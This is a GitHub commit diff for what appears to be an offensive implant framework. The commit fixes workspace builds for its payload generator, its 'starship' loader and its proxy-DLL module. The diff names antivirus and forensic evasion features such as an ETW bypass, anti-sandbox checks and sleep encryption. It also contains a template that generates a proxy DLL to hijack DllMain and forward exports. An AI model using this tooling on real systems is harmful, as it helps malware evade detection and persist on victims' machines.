Skip to content

Commit 65743e1

Browse files
committed
fix: repair mutant workspace package builds
1 parent 70c35cf commit 65743e1

12,939 files changed

Lines changed: 6303329 additions & 108 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

Cargo.lock

Lines changed: 52 additions & 10 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Cargo.toml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,8 @@ members = [
88
# malefic-macro lives in malefic-crates/macro
99
"malefic-mutant",
1010
"malefic-prelude",
11+
"malefic-proxydll",
12+
"malefic-starship",
1113

1214
"malefic-pulse",
1315
"malefic-3rd",
@@ -40,8 +42,6 @@ members = [
4042
]
4143

4244
exclude = [
43-
"malefic-proxydll",
44-
"malefic-starship",
4545
"lib/rage",
4646
]
4747

malefic-crates/evader/Cargo.toml

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -8,14 +8,14 @@ default = []
88
debug = []
99

1010
# Evader modules (from starship)
11-
evader_anti_emu = []
12-
evader_etw_pass = []
13-
evader_god_speed = []
14-
evader_sleep_encrypt = []
15-
evader_anti_forensic = []
16-
evader_cfg_patch = []
17-
evader_api_untangle = []
18-
evader_normal_api = []
11+
evader_anti_emu = ["malefic-os-win/prebuild"]
12+
evader_etw_pass = ["malefic-os-win/prebuild"]
13+
evader_god_speed = ["malefic-os-win/prebuild"]
14+
evader_sleep_encrypt = ["malefic-os-win/prebuild"]
15+
evader_anti_forensic = ["malefic-os-win/prebuild"]
16+
evader_cfg_patch = ["malefic-os-win/prebuild"]
17+
evader_api_untangle = ["malefic-os-win/prebuild"]
18+
evader_normal_api = ["malefic-os-win/prebuild"]
1919
evader_full = [
2020
"evader_anti_emu",
2121
"evader_etw_pass",
@@ -28,7 +28,7 @@ evader_full = [
2828
]
2929

3030
# Anti-analysis modules (from win/anti)
31-
anti_sandbox = ["malefic-os-win/reg"]
31+
anti_sandbox = ["malefic-os-win/reg", "malefic-os-win/prebuild"]
3232
anti_vm = []
3333

3434
# Obfuscation (community: no-op)

malefic-mutant/src/build/payload/mod.rs

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -203,6 +203,14 @@ pub fn build_payload(
203203
.unwrap_or(0)
204204
);
205205

206+
if matches!(payload_type, PayloadType::PROXYDLL) {
207+
log_step!("Processing ProxyDLL resources...");
208+
if let Err(e) = crate::tool::proxydll::process_proxydll_resources(&binary_path, target) {
209+
log_error!("Failed to process ProxyDLL resources: {}", e);
210+
return Err(e);
211+
}
212+
}
213+
206214
Ok(())
207215
}
208216

malefic-mutant/src/tool/loader/template.rs

Lines changed: 6 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -8,10 +8,7 @@ use std::process::Command;
88
use crate::config::EvaderConfig;
99

1010
/// All available loader template names (Community Edition)
11-
pub const LOADER_NAMES: &[&str] = &[
12-
"basic_template",
13-
"func_ptr",
14-
];
11+
pub const LOADER_NAMES: &[&str] = &["basic_template", "func_ptr"];
1512

1613
/// Encoding type to feature name mapping
1714
pub const ENCODING_FEATURES: &[(&str, &str)] = &[
@@ -193,10 +190,10 @@ impl TemplateLoader {
193190
let features_str = features.join(",");
194191

195192
let mut cmd = Command::new("cargo");
196-
cmd.arg("+nightly-2023-09-18")
193+
cmd.arg("+nightly-2024-02-03")
197194
.arg("build")
198-
.arg("--manifest-path")
199-
.arg("malefic-starship/Cargo.toml")
195+
.arg("-p")
196+
.arg("malefic-starship")
200197
.arg("--target")
201198
.arg(target)
202199
.arg("--features")
@@ -217,10 +214,8 @@ impl TemplateLoader {
217214
} else {
218215
""
219216
};
220-
let binary_path = std::path::PathBuf::from(format!(
221-
"malefic-starship/target/{}/{}/starship{}",
222-
target, profile, ext
223-
));
217+
let binary_path =
218+
std::path::PathBuf::from(format!("target/{}/{}/starship{}", target, profile, ext));
224219

225220
Ok(binary_path)
226221
}

malefic-mutant/src/tool/proxydll/generator.rs

Lines changed: 26 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -85,7 +85,7 @@ pub fn update_proxydll(
8585
log_info!(" malefic-autorun: {}", use_prelude);
8686

8787
log_step!("Next Steps:");
88-
log_info!(" Build: cargo build --release -p malefic-proxydll");
88+
log_info!(" Build: ./target/release/malefic-mutant build proxy-dll --target x86_64-pc-windows-gnu");
8989
log_info!(" (Features are pre-configured in Cargo.toml)");
9090

9191
Ok(())
@@ -133,8 +133,17 @@ fn build_lib(
133133
mod payload;
134134
135135
use lazy_static::lazy_static;
136+
use std::ffi::CString;
136137
use std::sync::{{Arc, Mutex}};
137-
use malefic_os_win::kit::apis::{{m_load_library_a, m_get_func_addr_with_module_base}};
138+
139+
#[link(name = "kernel32")]
140+
extern "system" {{
141+
fn LoadLibraryA(lp_lib_file_name: *const u8) -> *mut core::ffi::c_void;
142+
fn GetProcAddress(
143+
h_module: *mut core::ffi::c_void,
144+
lp_proc_name: *const u8,
145+
) -> *mut core::ffi::c_void;
146+
}}
138147
139148
const DLL_NAME: &str = r"{}";
140149
static mut ADDRESS: usize = 0;
@@ -185,20 +194,20 @@ pub fn gateway(
185194
return 0;
186195
}}
187196
188-
// Convert DLL name to null-terminated C string
189-
let dll_name_cstr = format!("{{}}\\0", DLL_NAME);
190-
let dll_address = unsafe {{ m_load_library_a(dll_name_cstr.as_ptr()) }};
197+
let dll_name_cstr = match CString::new(DLL_NAME) {{
198+
Ok(value) => value,
199+
Err(_) => return 0,
200+
}};
201+
let dll_address = unsafe {{ LoadLibraryA(dll_name_cstr.as_ptr() as *const u8) }};
191202
if dll_address.is_null() {{
192203
return 0;
193204
}}
194205
195-
// Get function address using module base
196-
let func_address = unsafe {{
197-
m_get_func_addr_with_module_base(
198-
dll_address as *const core::ffi::c_void,
199-
func_name.as_bytes()
200-
)
206+
let func_name_cstr = match CString::new(func_name) {{
207+
Ok(value) => value,
208+
Err(_) => return 0,
201209
}};
210+
let func_address = unsafe {{ GetProcAddress(dll_address, func_name_cstr.as_ptr() as *const u8) }};
202211
203212
if func_address.is_null() {{
204213
return 0;
@@ -223,6 +232,12 @@ pub fn gateway(
223232
224233
225234
use windows::Win32::Foundation::HINSTANCE;
235+
236+
const DLL_PROCESS_DETACH: u32 = 0;
237+
const DLL_PROCESS_ATTACH: u32 = 1;
238+
const DLL_THREAD_ATTACH: u32 = 2;
239+
const DLL_THREAD_DETACH: u32 = 3;
240+
226241
// Will hijack dll_main
227242
#[no_mangle]
228243
#[allow(non_snake_case)]

malefic-mutant/src/tool/proxydll/mod.rs

Lines changed: 17 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -23,13 +23,22 @@ pub fn process_proxydll_resources(binary_path: &str, _target: &str) -> anyhow::R
2323
if proxydll_config.pack_resources {
2424
log_step!("Processing and packing ProxyDLL resources...");
2525

26-
let proxy_dll_name = proxydll_config.proxy_dll.clone().unwrap_or_else(|| {
27-
Path::new(binary_path)
28-
.file_name()
29-
.and_then(|n| n.to_str())
30-
.unwrap_or("unknown.dll")
31-
.to_string()
32-
});
26+
let binary_file_name = Path::new(binary_path)
27+
.file_name()
28+
.and_then(|n| n.to_str())
29+
.unwrap_or("unknown.dll")
30+
.to_string();
31+
let proxy_dll_name = proxydll_config
32+
.proxy_dll
33+
.as_deref()
34+
.filter(|name| !name.trim().is_empty())
35+
.unwrap_or(&binary_file_name)
36+
.to_string();
37+
let proxied_dll_name = if proxydll_config.proxied_dll.trim().is_empty() {
38+
proxy_dll_name.clone()
39+
} else {
40+
proxydll_config.proxied_dll.clone()
41+
};
3342
let packer = ProxyDllPacker::new(
3443
&proxydll_config.resource_dir,
3544
Path::new(binary_path)
@@ -38,7 +47,7 @@ pub fn process_proxydll_resources(binary_path: &str, _target: &str) -> anyhow::R
3847
.to_str()
3948
.unwrap(),
4049
&proxy_dll_name,
41-
&proxydll_config.proxied_dll,
50+
&proxied_dll_name,
4251
);
4352

4453
// Create output directory
@@ -88,13 +97,6 @@ pub fn process_proxydll_resources(binary_path: &str, _target: &str) -> anyhow::R
8897
}
8998

9099
// Copy generated DLL to output directory with correct name
91-
let proxy_dll_name = proxydll_config.proxy_dll.clone().unwrap_or_else(|| {
92-
Path::new(binary_path)
93-
.file_name()
94-
.and_then(|n| n.to_str())
95-
.unwrap_or("unknown.dll")
96-
.to_string()
97-
});
98100
let dll_dest = output_dir.join(&proxy_dll_name);
99101
std::fs::copy(binary_path, &dll_dest)?;
100102
log_step!(

malefic-proxydll/Cargo.toml

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -9,17 +9,15 @@ proxy = []
99
block = []
1010
native_thread = []
1111

12-
1312
[lib]
1413
crate-type = ["cdylib"]
1514

1615
[dependencies]
17-
lazy_static = { version = "1.5.0", features = ["spin_no_std"] }
18-
malefic-os-win = { path = "../malefic-crates/win" }
19-
malefic-autorun = { path = "../malefic-crates/autorun", optional = true}
16+
lazy_static = "1.5.0"
17+
malefic-autorun = { workspace = true, optional = true }
2018

2119
[dependencies.windows]
22-
version = "0.51"
20+
workspace = true
2321
features = [
2422
"Win32_Foundation",
2523
"Win32_UI_WindowsAndMessaging"

0 commit comments

Comments
 (0)